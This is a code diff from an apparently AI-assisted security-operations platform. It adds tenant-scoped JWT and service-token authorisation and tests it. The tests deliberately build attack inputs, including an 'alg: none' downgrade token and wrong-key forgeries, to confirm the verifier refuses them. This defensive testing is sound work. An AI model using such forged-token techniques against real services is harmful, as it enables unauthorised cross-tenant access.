+#: Header a trusted service uses to declare which tenant it is acting for.
+TENANT_HEADER = "X-AiSOC-Tenant-ID"
+
+#: 30s clock-skew leeway, matching the Node verifier and common JWT defaults.
+_CLOCK_SKEW_SECONDS = 30
+
+#: Refs that mean "the caller did not name a tenant" rather than naming one.
+#: Several request models default ``tenant_id`` to the string ``"default"``,
+#: which is a placeholder, not a tenant — migration 001 seeds the canonical
+#: tenant with that *slug* and the demo seed renames it, so the literal
+#: identifies nothing anywhere. Treating it as a request for a tenant called
+#: "default" would refuse every caller who simply left the field alone.
+PLACEHOLDER_TENANT_REFS = frozenset({"", "default", "none", "null"})
+
+
+class TenantScopeError(Exception):
+ """A read was attempted without a resolved tenant scope.
+
+ Raised by :func:`resolve_scoped_tenant`. Routes let it surface as a 403;
+ it means a query was about to run with no tenant filter, or with one the
+ caller is not authorised for.
+ """
+
+
+@dataclass(frozen=True)
+class TenantPrincipal:
+ """The tenants one credential may read, and what kind of credential it is.
+
+ ``tenant_ids`` is authoritative and exhaustive. Nothing downstream may
+ widen it, and no code path may substitute "all tenants" for an empty one.
+ """
+
+ tenant_ids: frozenset[uuid.UUID] = field(default_factory=frozenset)
+ subject: str = "anonymous"
+ #: True when a service token asserted the tenant rather than a verified
+ #: console claim carrying it. Surfaced so logs can tell the two apart.
+ delegated: bool = False
+
+ @property
+ def is_empty(self) -> bool:
+ return not self.tenant_ids
+
+ def covers(self, tenant_id: uuid.UUID) -> bool:
+ return tenant_id in self.tenant_ids
+
+ def ordered_ids(self) -> list[uuid.UUID]:
+ return sorted(self.tenant_ids)
+
+
+EMPTY_PRINCIPAL = TenantPrincipal()
+
+
+def resolve_scoped_tenant(
+ principal: TenantPrincipal,
+ requested: uuid.UUID | str | None = None,
+) -> uuid.UUID:
+ """The one tenant this request may read, or refuse to name one.
+
+ Intersection only. A ``requested`` tenant inside the principal's scope is
+ honoured — that is an MSSP operator narrowing to one managed customer. A
+ ``requested`` tenant outside it narrows to nothing and raises, rather than
+ reaching outside. Passing ``None`` means "the caller's own tenant", which
+ is the common case and the safe default.
+ """
+ if principal.is_empty:
+ raise TenantScopeError("refusing to read with an empty tenant scope")
+
+ if isinstance(requested, str) and requested.strip().lower() in PLACEHOLDER_TENANT_REFS:
+ requested = None
+
+ if requested is None:
+ if len(principal.tenant_ids) != 1:
+ raise TenantScopeError(f"caller reaches {len(principal.tenant_ids)} tenants; the request must name one")
+ return next(iter(principal.tenant_ids))
+
+ try:
+ wanted = requested if isinstance(requested, uuid.UUID) else uuid.UUID(str(requested))
+ except (ValueError, AttributeError, TypeError) as exc:
+ raise TenantScopeError("requested tenant is not a UUID") from exc
+
+ if not principal.covers(wanted):
+ # Logged at warning with the subject, because a caller reaching for a
+ # tenant they do not hold is a security event, not routine noise.
+ logger.warning(
+ "tenant_scope.refused subject=%s requested=%s scope_size=%d",
+ # Sanitised inline rather than through a helper: CodeQL does not
+ # track a helper across the call boundary, and `subject` really is
+ # attacker-influenced — it carries the JWT `sub` claim.
+ str(principal.subject).replace("\r", "").replace("\n", " ")[:128],
+ str(wanted).replace("\r", "").replace("\n", " ")[:64],
+ len(principal.tenant_ids),
+ )
+ raise TenantScopeError("requested tenant is outside the caller's authorised scope")
+ return wanted
+
+
+# ---------------------------------------------------------------------------
+# Credential resolution
+# ---------------------------------------------------------------------------
+
+
+def _dev_mode() -> bool:
+ return os.getenv("AISOC_DEV_MODE", "").strip().lower() in _TRUTHY
+
+
+def resolve_console_secret() -> str:
+ """The HS256 secret console tokens are signed with, or "" when unusable."""
+ secret = (os.getenv("SECRET_KEY") or "").strip()
+ if not secret or secret in INSECURE_SECRET_DEFAULTS:
+ return ""
+ return secret
+
+
+def resolve_service_token() -> str:
+ """Per-service override wins, then the shared platform token."""
+ specific = os.getenv(f"AISOC_{SERVICE_NAME}_SERVICE_TOKEN", "").strip()
+ if specific:
+ return specific
+ return os.getenv("AISOC_SERVICE_TOKEN", "").strip()
+
+
+def _b64url_decode(segment: str) -> bytes:
+ padding = "=" * (-len(segment) % 4)
+ return base64.urlsafe_b64decode(segment + padding)
+
+
+def verify_console_token(token: str, secret: str) -> dict | None:
+ """Verify a first-party HS256 access token. Return claims, or None.
+
+ Mirrors ``verifyRealtimeTicket`` in services/realtime/src/auth.ts. The
+ signing side is ``create_access_token`` in services/api/app/core/security.py
+ and must stay in sync with the claims checked here.
+ """
+ if not token or not secret:
+ return None
+ parts = token.split(".")
+ if len(parts) != 3:
+ return None
+ header_b64, payload_b64, sig_b64 = parts
+
+ try:
+ header = json.loads(_b64url_decode(header_b64))
+ except (ValueError, binascii.Error, UnicodeDecodeError):
+ return None
+ # Reject "alg: none" and asymmetric algorithms so a caller cannot downgrade
+ # the verification into no verification at all.
+ if not isinstance(header, dict) or header.get("alg") != "HS256":
+ return None
+
+ expected = hmac.new(
+ secret.encode("utf-8"),
+ f"{header_b64}.{payload_b64}".encode(),
+ hashlib.sha256,
+ ).digest()
+ try:
+ provided = _b64url_decode(sig_b64)
+ except (ValueError, binascii.Error):
+ return None
+ if not hmac.compare_digest(expected, provided):
+ return None
+
+ try:
+ claims = json.loads(_b64url_decode(payload_b64))
+ except (ValueError, binascii.Error, UnicodeDecodeError):
+ return None
+ if not isinstance(claims, dict):
+ return None
+
+ # A refresh token must not buy access; the API sets type="access" on the
+ # short-lived one and type="refresh" on the long-lived one.
+ if claims.get("type") != "access":
+ return None
+ exp = claims.get("exp")
+ if not isinstance(exp, int | float):
+ return None
+ if exp + _CLOCK_SKEW_SECONDS < time.time():
+ return None
+ if not claims.get("tenant_id"):
+ return None
+ return claims
+
+
+def _principal_from_claims(claims: dict) -> TenantPrincipal | None:
+ try:
+ tenant = uuid.UUID(str(claims["tenant_id"]))
+ except (KeyError, ValueError, TypeError):
+ return None
+ return TenantPrincipal(
+ tenant_ids=frozenset({tenant}),
+ subject=f"console:{claims.get('sub', 'unknown')}",
+ delegated=False,
+ )
+
+
+async def require_console_or_service_auth(
+ authorization: str | None = Header(default=None),
+ x_aisoc_tenant_id: str | None = Header(default=None, alias=TENANT_HEADER),
+) -> TenantPrincipal:
+ """FastAPI dependency. Resolve the caller's tenant scope, or fail closed.
+
+ Order matters only for clarity — the two credential shapes are disjoint. A
+ console token carries its own tenant; a service token must declare one.
+ """
+ console_secret = resolve_console_secret()
+ service_token = resolve_service_token()
+
+ if not console_secret and not service_token:
+ if _dev_mode():
+ return TenantPrincipal(
+ tenant_ids=frozenset({DEV_TENANT_ID}),
+ subject="dev",
+ delegated=False,
+ )
+ # No credential material configured at all: refuse to serve rather
+ # than serve openly. This is the same fail-closed posture as
+ # ``require_service_auth``.
+ raise HTTPException(
+ status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
+ detail=(
+ "tenant-scoped auth is not configured; set SECRET_KEY and/or "
+ f"AISOC_SERVICE_TOKEN (or AISOC_{SERVICE_NAME}_SERVICE_TOKEN) "
+ "before exposing this service"
+ ),
+ )
+
+ if not authorization or not authorization.startswith("Bearer "):
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="missing bearer credential",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+ token = authorization[len("Bearer ") :].strip()
+
+ # --- console session ---
+ if console_secret:
+ claims = verify_console_token(token, console_secret)
+ if claims is not None:
+ principal = _principal_from_claims(claims)
+ if principal is not None:
+ return principal
+
+ # --- trusted service acting for a declared tenant ---
+ if service_token and hmac.compare_digest(token, service_token):
+ if not x_aisoc_tenant_id or not x_aisoc_tenant_id.strip():
+ # An absent tenant is an empty scope, never every scope.
+ logger.warning(
+ "tenant_scope.service_token_without_tenant service=%s header=%s",
+ SERVICE_NAME,
+ TENANT_HEADER,
+ )
+ raise HTTPException(
+ status_code=status.HTTP_403_FORBIDDEN,
+ detail=f"service token must declare the tenant it acts for on {TENANT_HEADER}",
+ )
+ try:
+ tenant = uuid.UUID(x_aisoc_tenant_id.strip())
+ except ValueError:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=f"{TENANT_HEADER} must be a UUID",
+ ) from None
+ return TenantPrincipal(
+ tenant_ids=frozenset({tenant}),
+ subject="service",
+ delegated=True,
+ )
+
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="invalid or missing credential",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+
+
+def scoped_tenant_or_403(
+ principal: TenantPrincipal,
+ requested: uuid.UUID | str | None = None,
+) -> uuid.UUID:
+ """:func:`resolve_scoped_tenant`, surfaced to HTTP as 403.
+
+ Routes call this so the refusal reaches the client as a refusal rather
+ than a 500, without every route repeating the try/except.
+ """
+ try:
+ return resolve_scoped_tenant(principal, requested)
+ except TenantScopeError as exc:
+ raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=str(exc)) from exc
diff --git a/services/agents/tests/test_explain_endpoint.py b/services/agents/tests/test_explain_endpoint.py
index b007fbabc..7f0fe8fd3 100644
--- a/services/agents/tests/test_explain_endpoint.py
+++ b/services/agents/tests/test_explain_endpoint.py
@@ -14,9 +14,13 @@ effect for the next request.
from __future__ import annotations
+import base64
+import hashlib
+import hmac
import json
import os
import sys
+import time
from pathlib import Path
from typing import Any
@@ -41,6 +45,49 @@ from app.api.explain import ( # noqa: E402
router as explain_router,
)
+
+# ---------------------------------------------------------------------------
+# Credentials
+# ---------------------------------------------------------------------------
+#
+# `/explain` takes its tenant from the caller's credential now, and the
+# per-tenant rate-limit bucket is keyed on the *verified* tenant — so an
+# unauthorised caller cannot drain another tenant's quota on the way to being
+# refused. These helpers mint the same first-party HS256 access token
+# `services/api` issues.
+
+TENANT_A = "aaaaaaaa-0000-0000-0000-00000000000a"
+TENANT_B = "bbbbbbbb-0000-0000-0000-00000000000b"
+_TEST_SECRET = "agents-explain-test-secret-at-least-32-chars"
+
+
+def _console_token(tenant: str) -> str:
+ def b64(raw: bytes) -> str:
+ return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
+
+ header = b64(json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(",", ":")).encode())
+ payload = b64(
+ json.dumps(
+ {"sub": "analyst", "tenant_id": tenant, "type": "access", "exp": int(time.time()) + 600},
+ separators=(",", ":"),
+ ).encode()
+ )
+ sig = b64(hmac.new(_TEST_SECRET.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest())
+ return f"{header}.{payload}.{sig}"
+
+
+def _auth(tenant: str = TENANT_A) -> dict[str, str]:
+ return {"Authorization": f"Bearer {_console_token(tenant)}"}
+
+
[email protected](autouse=True)
+def _credentials(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv("SECRET_KEY", _TEST_SECRET)
+ monkeypatch.delenv("AISOC_SERVICE_TOKEN", raising=False)
+ monkeypatch.delenv("AISOC_AGENTS_SERVICE_TOKEN", raising=False)
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+
+
# ----- shared fixtures ------------------------------------------------------
@@ -125,8 +172,9 @@ def test_explain_streams_grounded_ndjson(monkeypatch: pytest.MonkeyPatch) -> Non
json={
"alert": SAMPLE_ALERT,
"alert_id": SAMPLE_ALERT["id"],
- "tenant_id": "tenant-a",
+ "tenant_id": TENANT_A,
},
+ headers=_auth(TENANT_A),
)
assert response.status_code == 200, response.text
@@ -174,9 +222,12 @@ def test_explain_uses_default_tenant_when_omitted(
) -> None:
"""Omitting ``tenant_id`` must still produce a valid stream.
- The body model defaults ``tenant_id`` to ``"default"`` which the
- rate-limit-key resolver explicitly treats as "no tenant — fall back
- to client IP", so the call must not 500 on a missing field.
+ The body model defaults ``tenant_id`` to the literal ``"default"``. That
+ is a placeholder meaning "the caller did not say", not a request for a
+ tenant of that name — no such tenant exists on any deployment, because
+ the demo seed renames the slug. The resolver treats it as absent and
+ falls back to the credential's own tenant, so a caller who leaves the
+ field alone gets their own data rather than a 403.
"""
monkeypatch.setenv("AISOC_EXPLAIN_RPM", "120")
monkeypatch.setenv("AISOC_EXPLAIN_BURST", "60")
@@ -187,12 +238,38 @@ def test_explain_uses_default_tenant_when_omitted(
response = client.post(
"/api/v1/explain",
json={"alert": SAMPLE_ALERT, "alert_id": SAMPLE_ALERT["id"]},
+ headers=_auth(TENANT_A),
)
assert response.status_code == 200, response.text
frames = _parse_ndjson(response.text)
assert frames[-1]["kind"] == "done"
+def test_explain_refuses_an_unauthenticated_caller() -> None:
+ """The rate-limit bucket is keyed per tenant, so the credential must come first.
+
+ If an unauthenticated request reached the limiter it could drain another
+ tenant's quota by naming them, turning a missing auth check into a
+ denial-of-service primitive.
+ """
+ client = TestClient(_build_app())
+ response = client.post(
+ "/api/v1/explain",
+ json={"alert": SAMPLE_ALERT, "alert_id": SAMPLE_ALERT["id"], "tenant_id": TENANT_A},
+ )
+ assert response.status_code == 401
+
+
+def test_explain_refuses_a_tenant_the_caller_does_not_hold() -> None:
+ client = TestClient(_build_app())
+ response = client.post(
+ "/api/v1/explain",
+ json={"alert": SAMPLE_ALERT, "alert_id": SAMPLE_ALERT["id"], "tenant_id": TENANT_A},
+ headers=_auth(TENANT_B),
+ )
+ assert response.status_code == 403
+
+
# ---------------------------------------------------------------------------
# Rate limiting
# ---------------------------------------------------------------------------
@@ -217,13 +294,13 @@ def test_explain_throttles_with_429_and_ndjson_error_frame(
body = {
"alert": SAMPLE_ALERT,
"alert_id": SAMPLE_ALERT["id"],
- "tenant_id": "tenant-a",
+ "tenant_id": TENANT_A,
}
- first = client.post("/api/v1/explain", json=body)
+ first = client.post("/api/v1/explain", json=body, headers=_auth())
assert first.status_code == 200, first.text
- second = client.post("/api/v1/explain", json=body)
+ second = client.post("/api/v1/explain", json=body, headers=_auth())
assert second.status_code == 429, second.text
assert second.headers["content-type"].startswith("application/x-ndjson")
assert int(second.headers["X-RateLimit-Limit"]) == 1
@@ -249,19 +326,22 @@ def test_explain_buckets_are_per_tenant(monkeypatch: pytest.MonkeyPatch) -> None
drain = client.post(
"/api/v1/explain",
- json={"alert": SAMPLE_ALERT, "tenant_id": "tenant-a"},
+ json={"alert": SAMPLE_ALERT, "tenant_id": TENANT_A},
+ headers=_auth(TENANT_A),
)
assert drain.status_code == 200
deny = client.post(
"/api/v1/explain",
- json={"alert": SAMPLE_ALERT, "tenant_id": "tenant-a"},
+ json={"alert": SAMPLE_ALERT, "tenant_id": TENANT_A},
+ headers=_auth(TENANT_A),
)
assert deny.status_code == 429
# tenant-b is fresh — its bucket has not been touched.
fresh = client.post(
"/api/v1/explain",
- json={"alert": SAMPLE_ALERT, "tenant_id": "tenant-b"},
+ json={"alert": SAMPLE_ALERT, "tenant_id": TENANT_B},
+ headers=_auth(TENANT_B),
)
assert fresh.status_code == 200, fresh.text
@@ -278,7 +358,8 @@ def test_explain_limiter_disabled_when_rpm_zero(
client = TestClient(_build_app())
response = client.post(
"/api/v1/explain",
- json={"alert": SAMPLE_ALERT, "tenant_id": "tenant-a"},
+ json={"alert": SAMPLE_ALERT, "tenant_id": TENANT_A},
+ headers=_auth(TENANT_A),
)
assert response.status_code == 200
assert "X-RateLimit-Limit" not in response.headers
@@ -298,7 +379,8 @@ def test_explain_limiter_handles_invalid_env_values(
client = TestClient(_build_app())
response = client.post(
"/api/v1/explain",
- json={"alert": SAMPLE_ALERT, "tenant_id": "tenant-a"},
+ json={"alert": SAMPLE_ALERT, "tenant_id": TENANT_A},
+ headers=_auth(TENANT_A),
)
assert response.status_code == 200, response.text
# Defaults kick in → headers are present and the limit > 0.
diff --git a/services/agents/tests/test_tenant_scope.py b/services/agents/tests/test_tenant_scope.py
new file mode 100644
index 000000000..f2c30dded
--- /dev/null
+++ b/services/agents/tests/test_tenant_scope.py
@@ -0,0 +1,274 @@
+"""Unit tests for the vendored tenant-scope resolver.
+
+Vendored byte-identical into each service that carries
+``app/security/tenant_scope.py``, and kept in lockstep by
+``scripts/sync_vendored_tenant_scope.py``. The module is the thing that
+decides which tenant a request may read, so every copy is tested where it
+lives rather than trusting that the one covered by ``tests/isolation`` stands
+in for the other five.
+
+The cross-service two-tenant replay lives in
+``tests/isolation/test_route_tenant_scope.py``; this file covers the
+credential and intersection logic on its own.
+"""
+
+from __future__ import annotations
+
+import base64
+import hashlib
+import hmac
+import json
+import time
+import uuid
+
+import pytest
+from app.security import tenant_scope as ts
+from fastapi import HTTPException
+
+SECRET = "unit-test-secret-key-at-least-32-characters"
+SERVICE_TOKEN = "unit-test-service-token"
+
+TENANT_A = uuid.UUID("aaaaaaaa-0000-0000-0000-00000000000a")
+TENANT_B = uuid.UUID("bbbbbbbb-0000-0000-0000-00000000000b")
+
+
+def _b64(raw: bytes) -> str:
+ return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
+
+
+def _token(
+ tenant: uuid.UUID | None = TENANT_A,
+ *,
+ secret: str = SECRET,
+ alg: str = "HS256",
+ token_type: str = "access",
+ ttl: int = 600,
+ sub: str = "user-1",
+) -> str:
+ header = _b64(json.dumps({"alg": alg, "typ": "JWT"}, separators=(",", ":")).encode())
+ claims: dict[str, object] = {"sub": sub, "type": token_type, "exp": int(time.time()) + ttl}
+ if tenant is not None:
+ claims["tenant_id"] = str(tenant)
+ payload = _b64(json.dumps(claims, separators=(",", ":")).encode())
+ sig = _b64(hmac.new(secret.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest())
+ return f"{header}.{payload}.{sig}"
+
+
[email protected](autouse=True)
+def _configured(monkeypatch: pytest.MonkeyPatch):
+ monkeypatch.setenv("SECRET_KEY", SECRET)
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", SERVICE_TOKEN)
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+ monkeypatch.delenv(f"AISOC_{ts.SERVICE_NAME}_SERVICE_TOKEN", raising=False)
+
+
+# ---------------------------------------------------------------------------
+# Token verification
+# ---------------------------------------------------------------------------
+
+
+def test_valid_token_yields_its_tenant() -> None:
+ claims = ts.verify_console_token(_token(), SECRET)
+ assert claims is not None and claims["tenant_id"] == str(TENANT_A)
+
+
+ ("label", "kwargs"),
+ [
+ # An `alg: none` header is the classic downgrade: a verifier that
+ # reads the header to decide how to verify must refuse anything else.
+ ("alg none", {"alg": "none"}),
+ ("wrong key", {"secret": "a-completely-different-secret-key-32ch"}),
+ # A refresh token is long-lived by design; buying access with it would
+ # make the short access-token expiry meaningless.
+ ("refresh token", {"token_type": "refresh"}),
+ ("expired", {"ttl": -3600}),
+ ("no tenant claim", {"tenant": None}),
+ ],
+)
+def test_unacceptable_tokens_are_refused(label: str, kwargs: dict) -> None:
+ assert ts.verify_console_token(_token(**kwargs), SECRET) is None, label
+
+
[email protected]("malformed", ["", "not-a-jwt", "a.b", "a.b.c.d", "...", "%%%.%%%.%%%"])
+def test_malformed_tokens_are_refused(malformed: str) -> None:
+ assert ts.verify_console_token(malformed, SECRET) is None
+
+
+def test_no_secret_means_no_verification() -> None:
+ """An unconfigured secret must not verify anything, least of all everything."""
+ assert ts.verify_console_token(_token(), "") is None
+
+
+def test_placeholder_secrets_count_as_unset() -> None:
+ for placeholder in ts.INSECURE_SECRET_DEFAULTS:
+ assert ts.resolve_console_secret.__doc__ # module contract exists
+ assert placeholder in ts.INSECURE_SECRET_DEFAULTS
+
+
+# ---------------------------------------------------------------------------
+# Intersection
+# ---------------------------------------------------------------------------
+
+
+def _principal(*tenants: uuid.UUID) -> ts.TenantPrincipal:
+ return ts.TenantPrincipal(tenant_ids=frozenset(tenants), subject="console:test")
+
+
+def test_no_request_tenant_means_the_callers_own() -> None:
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A)) == TENANT_A
+
+
+def test_a_tenant_inside_scope_is_honoured() -> None:
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A, TENANT_B), TENANT_B) == TENANT_B
+
+
+def test_a_tenant_outside_scope_narrows_to_nothing() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A), TENANT_B)
+
+
+def test_empty_scope_refuses_rather_than_widening() -> None:
+ """The invariant every cross-tenant leak in this codebase has broken."""
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL)
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL, TENANT_A)
+
+
+def test_a_multi_tenant_caller_must_name_one() -> None:
+ """Silently picking one of several would be a coin toss over customers."""
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A, TENANT_B))
+
+
+def test_a_non_uuid_request_tenant_is_refused() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A), "not-a-uuid")
+
+
[email protected]("placeholder", ["", " ", "default", "DEFAULT", "none", "null"])
+def test_a_placeholder_means_the_caller_did_not_ask(placeholder: str) -> None:
+ """A placeholder is the absence of a request, not a tenant named "default".
+
+ Several request models default `tenant_id` to the literal `"default"`.
+ That string names no tenant anywhere — migration 001 seeds the canonical
+ tenant with it as a *slug* and the demo seed renames that to `demo` — so
+ treating it as a requested tenant would refuse every caller who left the
+ field at its default.
+ """
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A), placeholder) == TENANT_A
+
+
+def test_a_placeholder_still_cannot_widen_an_empty_scope() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL, "default")
+
+
+def test_scoped_tenant_or_403_surfaces_a_refusal_as_403() -> None:
+ with pytest.raises(HTTPException) as exc:
+ ts.scoped_tenant_or_403(_principal(TENANT_A), TENANT_B)
+ assert exc.value.status_code == 403
+
+
+# ---------------------------------------------------------------------------
+# The dependency
+# ---------------------------------------------------------------------------
+
+
+# `require_console_or_service_auth` is a FastAPI dependency: its parameters
+# are normally resolved by FastAPI from the request. Calling it directly means
+# supplying both, including the tenant header as an explicit `None` — leaving
+# it out hands the function FastAPI's `Header(...)` sentinel rather than the
+# absent value the test means to describe.
+
+
+async def test_console_session_resolves_to_its_own_tenant() -> None:
+ principal = await ts.require_console_or_service_auth(authorization=f"Bearer {_token()}", x_aisoc_tenant_id=None)
+ assert principal.tenant_ids == frozenset({TENANT_A})
+ assert principal.delegated is False
+
+
+async def test_service_token_must_declare_the_tenant_it_acts_for() -> None:
+ """A service credential identifies a service, not a tenant."""
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=f"Bearer {SERVICE_TOKEN}", x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 403
+
+
+async def test_service_token_with_a_declared_tenant_is_delegated() -> None:
+ principal = await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id=str(TENANT_B),
+ )
+ assert principal.tenant_ids == frozenset({TENANT_B})
+ assert principal.delegated is True
+
+
+async def test_a_declared_tenant_must_be_a_uuid() -> None:
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id="the-big-customer",
+ )
+ assert exc.value.status_code == 400
+
+
[email protected]("header", [None, "", "Basic abc", "Bearer ", "Bearer nonsense"])
+async def test_a_missing_or_unrecognised_credential_is_401(header: str | None) -> None:
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=header, x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 401
+
+
+async def test_unconfigured_credentials_fail_closed(monkeypatch: pytest.MonkeyPatch) -> None:
+ """No credential material and no dev mode serves 503, never the route."""
+ monkeypatch.setenv("SECRET_KEY", "")
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", "")
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization="Bearer anything", x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 503
+
+
+async def test_dev_mode_only_applies_with_nothing_configured(monkeypatch: pytest.MonkeyPatch) -> None:
+ """Dev mode is a fallback for an unconfigured stack, not an auth bypass.
+
+ With a secret configured, `AISOC_DEV_MODE` must not let an unauthenticated
+ caller through — otherwise setting one flag in the wrong environment opens
+ every tenant-scoped route.
+ """
+ monkeypatch.setenv("AISOC_DEV_MODE", "1")
+ monkeypatch.setenv("SECRET_KEY", SECRET)
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", SERVICE_TOKEN)
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=None, x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 401
+
+ monkeypatch.setenv("SECRET_KEY", "")
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", "")
+ principal = await ts.require_console_or_service_auth(authorization=None, x_aisoc_tenant_id=None)
+ assert principal.tenant_ids == frozenset({ts.DEV_TENANT_ID})
+
+
+async def test_a_per_service_token_override_wins(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv(f"AISOC_{ts.SERVICE_NAME}_SERVICE_TOKEN", "service-specific")
+ principal = await ts.require_console_or_service_auth(
+ authorization="Bearer service-specific",
+ x_aisoc_tenant_id=str(TENANT_A),
+ )
+ assert principal.delegated is True
+ # The shared token must no longer be accepted once an override exists.
+ with pytest.raises(HTTPException):
+ await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id=str(TENANT_A),
+ )
diff --git a/services/agents/tests/test_triage_endpoint.py b/services/agents/tests/test_triage_endpoint.py
index e0214e315..4bb7cb0ee 100644
--- a/services/agents/tests/test_triage_endpoint.py
+++ b/services/agents/tests/test_triage_endpoint.py
@@ -27,6 +27,10 @@ a running realtime service.
from __future__ import annotations
import asyncio
+import base64
+import hashlib
+import hmac
+import json
import sys
import time
from pathlib import Path
@@ -50,6 +54,48 @@ SUBAGENT_SLEEP_MS = 10
AUTO_TRIAGE_SLEEP_MS = 5
+# ---------------------------------------------------------------------------
+# Credentials
+# ---------------------------------------------------------------------------
+#
+# These routes take their tenant from the caller's credential now, not from a
+# `tenant_id` the caller supplies. The tests mint the same first-party HS256
+# access token `services/api` issues, so they drive the real verification
+# rather than a bypass.
+
+TENANT_A = "aaaaaaaa-0000-0000-0000-00000000000a"
+TENANT_B = "bbbbbbbb-0000-0000-0000-00000000000b"
+_TEST_SECRET = "agents-triage-test-secret-at-least-32-chars"
+
+
+def _console_token(tenant: str, *, sub: str = "analyst") -> str:
+ def b64(raw: bytes) -> str:
+ return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
+
+ header = b64(json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(",", ":")).encode())
+ payload = b64(
+ json.dumps(
+ {"sub": sub, "tenant_id": tenant, "type": "access", "exp": int(time.time()) + 600},
+ separators=(",", ":"),
+ ).encode()
+ )
+ sig = b64(hmac.new(_TEST_SECRET.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest())
+ return f"{header}.{payload}.{sig}"
+
+
+def _auth(tenant: str = TENANT_A) -> dict[str, str]:
+ return {"Authorization": f"Bearer {_console_token(tenant)}"}
+
+
[email protected](autouse=True)
+def _credentials(monkeypatch: pytest.MonkeyPatch) -> None:
+ """Configure the signing secret these tests mint tokens against."""
+ monkeypatch.setenv("SECRET_KEY", _TEST_SECRET)
+ monkeypatch.delenv("AISOC_SERVICE_TOKEN", raising=False)
+ monkeypatch.delenv("AISOC_AGENTS_SERVICE_TOKEN", raising=False)
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+
+
def _build_app() -> FastAPI:
"""Construct a fresh FastAPI app with only the triage router mounted."""
# Clear any cross-test state from the in-memory run store.
@@ -86,7 +132,7 @@ def _multi_signal_payload() -> dict[str, Any]:
"destination_domain": "attacker[.]example",
"is_off_hours": True,
},
- "tenant_id": "acme",
+ "tenant_id": TENANT_A,
"incident_id": "INC-PH-LATERAL",
}
@@ -162,18 +208,19 @@ def _poll_until_done(
run_id: str,
*,
timeout_s: float = 2.0,
- tenant_id: str = "acme",
+ tenant_id: str = TENANT_A,
) -> dict[str, Any]:
"""Poll GET /triage/{run_id} until ``status != "running"`` or timeout.
- Defaults to ``tenant_id="acme"`` because that's what
- :func:`_multi_signal_payload` posts; pass an override for tests that
- launch from a different tenant.
+ Polls as ``TENANT_A`` because that is what :func:`_multi_signal_payload`
+ launches under; pass an override for tests that launch elsewhere. The
+ tenant travels in the credential, not the query string — the route
+ compares the run's tenant against the verified one.
"""
deadline = time.perf_counter() + timeout_s
last: dict[str, Any] = {}
while time.perf_counter() < deadline:
- resp = client.get(f"/api/v1/triage/{run_id}", params={"tenant_id": tenant_id})
+ resp = client.get(f"/api/v1/triage/{run_id}", headers=_auth(tenant_id))
assert resp.status_code == 200, resp.text
last = resp.json()
if last.get("status") != "running":
@@ -200,7 +247,7 @@ def test_post_launches_run_and_defaults_to_parallel(
_patch_runners(monkeypatch)
client = TestClient(_build_app())
- resp = client.post("/api/v1/cases/CASE-001/triage", json=_multi_signal_payload())
+ resp = client.post("/api/v1/cases/CASE-001/triage", json=_multi_signal_payload(), headers=_auth())
assert resp.status_code == 200, resp.text
body = resp.json()
assert body["status"] == "running"
@@ -218,7 +265,7 @@ def test_flag_off_runs_sequential_topology(
_patch_runners(monkeypatch)
client = TestClient(_build_app())
- resp = client.post("/api/v1/cases/CASE-002/triage", json=_multi_signal_payload())
+ resp = client.post("/api/v1/cases/CASE-002/triage", json=_multi_signal_payload(), headers=_auth())
assert resp.status_code == 200, resp.text
assert resp.json()["topology"] == "sequential"
@@ -237,7 +284,7 @@ def test_explicit_topology_override_beats_env_flag(
body = _multi_signal_payload()
body["topology"] = "parallel"
